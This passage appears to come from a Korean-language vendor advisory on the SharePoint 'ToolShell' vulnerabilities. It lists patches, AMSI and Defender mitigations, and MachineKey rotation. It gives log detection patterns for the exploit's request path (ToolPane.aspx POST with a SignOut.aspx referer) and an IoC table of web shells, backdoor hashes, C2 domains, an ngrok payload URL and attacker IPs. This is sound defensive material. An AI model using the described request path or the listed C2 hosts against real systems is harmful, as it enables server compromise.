CVE-2025-53770
9.8
RCE
Microsoft SharePoint Server 2019
16.0.0 <16.0.10417.20037
KB5002754
CVE-2025-49706
6.5
RCE
Microsoft SharePoint Server 2019
16.0.0 <16.0.10417.20037
KB5002754
CVE-2025-49706
6.5
Spoofing
Microsoft SharePoint Server 2016
16.0.0 <16.0.5513.1001
KB5002760
CVE-2025-53771
6.3
Spoofing
Microsoft SharePoint Server 2016
16.0.0 <16.0.5513.1001
KB5002760

6.2. 보안 업데이트 미적용할 경우(임시 보호조치)

○ 보안패치 즉시 업데이트가 불가한 경우, SharePoint에서 AMSI 검사 기능을 활성화하고 모든 SharePoint 서버에 Microsoft Defender Antivirus 배포하여 임시 보호조치 가능
* AMSI(Antimalware Scan Interface) : Windows에 내장된 악성코드 탐지 및 차단 기능을 향상시키는 인터페이스
1.
AMSI 검사 기능 활성화
SharePoint 중앙 관리 보안 섹션에서 AMSI 검사 기능 활성화 및 전체 모드 설정
AMSI 검사 기능 활성화 및 전체모드 선택 설정
AMSI 검사 기능은 SharePoint Server 2016/2019용 2023년 9월 보안 업데이트와 SharePoint Server 구독 버전용 버전 23H2 기능 업데이트에서 기본적으로 활성화
AMSI 활성화할 수 없는 경우, 영향받는 제품의 서버 인터넷 연결을 즉시 해제 필요함
서버 인터넷 연결을 해제할 수 없는 경우, 인증이 필요한 VPN이나 프록시, 또는 인증 게이트웨이를 사용하여 인증되지 않은 트래픽 제한 필요
2.
Microsoft Defender Antivirus 활성화 설정
PowerShell의 Get-MpComputerStatus 명령으로 Defender 활성화 여부 확인 가능
명령어 출력 결과 내 AMRunningMode 값 확인(활성화일 경우 Normal 표시됨)

6.3. 공통 보안조치 사항

1.
SharePoint 서버의 MachineKey*를 rotation 설정하고 적용을 위해, 모든 SharePoint의 서버 IIS 재시작 필요
* MachineKey : ASP.NET 애플리케이션, 특히 SharePoint의 보안에 사용되는 핵심 암호화 키로 ValidationKey(유효성 검사 키)와 DecryptionKey(복호화 키)로 이루어짐
○ PowerShell의 Set-SPMachineKey cmdlet을 사용하여 MachineKey 업데이트
Set-SPMachineKey -WebApplication <SPWebApplicationPipeBind> [-DecryptionKey <String>] [-ValidationKey <String>] [-Local] [<CommonParameters>]
PowerShell
복사
※ 작업 전 주의사항
SharePoint 팜의 모든 웹 프런트 엔드(WFE) 서버에서 자동으로 동기화
반드시 web.config 파일과 SharePoint 환경에 대한 백업 권고
MachineKey 변경 후, 기존 세션이 무효화되어 사용자들이 재로그인해야 할 수 있고, ViewState에 문제가 발생할 가능성도 존재하므로 영향도 평가 후 적용 필요
○ ViewState와 ‘__VIEWSTATE’의 역할 (정상적인 동작)
ASP.NET 웹 애플리케이션(SharePoint도 ASP.NET 기반)에서 ViewState는 웹 페이지의 상태를 유지하는 데 사용되는 메커니즘으로, ‘__VIEWSTATE‘라는 폼 필드를 사용하여 페이지 상태 정보를 클라이언트로 전송하고 다시 서버로 전송받는 과정을 거침
○ rotation 설정 미적용 시, ‘__VIEWSTATE‘ 값을 위조하여 공격 가능
공격자는 서버의 고정된 MachineKey 값을 탈취하여 악성 페이로드 암호화할 수 있음
2.
IoC를 통한 침해여부 확인 및 웹로그 분석
ToolSehll에 사용된 IoC의 탐지여부를 확인하고, 침해징후가 확인되는 경우 웹로그 분석이 필요
IIS로그 상에서 HTTP Request 내에 Refer 정보(Default로 로깅)와 POST내에 ‘/ToolPane.aspx?DisplayMode=Edit’ 및 ‘/_layouts/SignOut.aspx’접근 여부 확인
POST Request 헤더에 ‘/ToolPane.aspx?DisplayMode=Edit’가 포함하는 경우 POST Reqeust의 Referer 값이 ‘/_layouts/SignOut.aspx’를 포함하는 경우
Plain Text
복사

07. IoC 현황

○ ToolShell 공격 캠페인 IoC 지표
Source : Disrupting active exploitation of on-premises SharePoint vulnerabilities, Microsoft
Type
IoC
Description
File Name
spinstall0.aspx, spinstall1.aspx, spinstall2.aspx
위협 행위자가 사용하는 웹 셸 파일 이름
File Name
IIS_Server_dll.dll
Storm-2603 IIS 백도어 파일 이름
File Name
SharpHostInfo.x64.exe
NetBIOS, SMB, WMI로 호스트 정보를 수집하는 데 사용되는 침투 테스트 도구
File Name
xd.exe
C2 IP 주소 65.38.121.198에 연결하는 데 사용되는 빠른 역방향 프록시 도구
File Name
debug_dev.js
MachineKey 데이터를 포함한 웹 구성 데이터가 들어 있는 파일
File Name
\1[5-6]\TEMPLATE\LAYOUTS\debug_dev.js
도난당한 웹 구성의 파일 경로
SHA-256
92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514
spinstall0.aspx의 해시
SHA-256
24480dbe306597da1ba393b6e30d542673066f98826cc07ac4b9033137f37dbf
Storm-2603 C2 : update.updatemicfosoft.com”에서 HTTP와 curl을 이용해 명령을 수신 및 실행하는 웹 셸의 해시
SHA-256
b5a78616f709859a0d9f830d28ff2f9dbbb2387df1753739407917e96dadf6b0
Storm-2603 C2 “update.updatemicfosoft.com”에서 소켓과 DNS를 이용해 명령을 수신 및 실행하는 웹 셸의 해시
SHA-256
c27b725ff66fdfb11dd6487a3815d1d1eba89d61b0e919e4d06ed3ac6a74fe94
Storm-2603 C2 “update.updatemicfosoft.com”에서 소켓과 DNS를 이용해 명령을 수신 및 실행하는 웹 셸의 해시
SHA-256
1eb914c09c873f0a7bcf81475ab0f6bdfaccc6b63bf7e5f2dbf19295106af192
Storm-2603 C2 “update.updatemicfosoft.com”에서 소켓과 DNS를 이용해 명령을 수신 및 실행하는 웹 셸의 해시
SHA-256
4c1750a14915bf2c0b093c2cb59063912dfa039a2adfe6d26d6914804e2ae928
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
83705c75731e1d590b08f9357bc3b0f04741e92a033618736387512b40dab060
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
f54ae00a9bae73da001c4d3d690d26ddf5e8e006b5562f936df472ec5e299441
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
b180ab0a5845ed619939154f67526d2b04d28713fcc1904fbd666275538f431d
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
6753b840cec65dfba0d7d326ec768bff2495784c60db6a139f51c5e83349ac4d
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
7ae971e40528d364fa52f3bb5e0660ac25ef63e082e3bbd54f153e27b31eae68
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
567cb8e8c8bd0d909870c656b292b57bcb24eb55a8582b884e0a228e298e7443
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
445a37279d3a229ed18513e85f0c8d861c6f560e0f914a5869df14a74b679b86
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
ffbc9dfc284b147e07a430fe9471e66c716a84a1f18976474a54bee82605fa9a
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
6b273c2179518dacb1218201fd37ee2492a5e1713be907e69bf7ea56ceca53a5
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
c2c1fec7856e8d49f5d49267e69993837575dbbec99cd702c5be134a85b2c139
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
6f6db63ece791c6dc1054f1e1231b5bbcf6c051a49bad0784569271753e24619
IIS_Server_dll.dll (Storm-2603 IIS 백도어)의 해시
SHA-256
d6da885c90a5d1fb88d0a3f0b5d9817a82d5772d5510a0773c80ca581ce2486d
SharpHostInfo.x64.exe의 해시
SHA-256
62881359e75c9e8899c4bc9f452ef9743e68ce467f8b3e4398bebacde9550dea
xd.exe의 해시
URL
c34718cbb4c6.ngrok-free.app/file.ps1
C2로 PowerShell을 전달하는 Ngrok 터널
URL
msupdate.updatemicfosoft.com
Storm-2603의 C2 도메인
IP
131.226.2.6
침해 후 C2 IP 주소
IP
134.199.202.205
SharePoint 취약점 악용 IP
IP
104.238.159.149
SharePoint 취약점 악용 IP
IP
188.130.206.168
SharePoint 취약점 악용 IP
IP
65.38.121.198
Storm-2603의 침해 후 C2 IP 주소

08. 참고자료

https://www.ncsc.go.kr/cop/bbs/selectBoardArticle.do?bbsId=Notification_main&nttId=213282
https://www.securityweek.com/sharepoint-under-attack-microsoft-warns-of-zero-day-exploited-in-the-wild-no-patch-available/
https://www.cisa.gov/news-events/alerts/2025/07/20/update-microsoft-releases-guidance-exploitation-sharepoint-vulnerabilities
https://www.cisa.gov/news-events/alerts/2025/07/20/cisa-adds-one-known-exploited-vulnerability-cve-2025-53770-toolshell-catalog
IGLOO Corp. 2025. All rights reserved.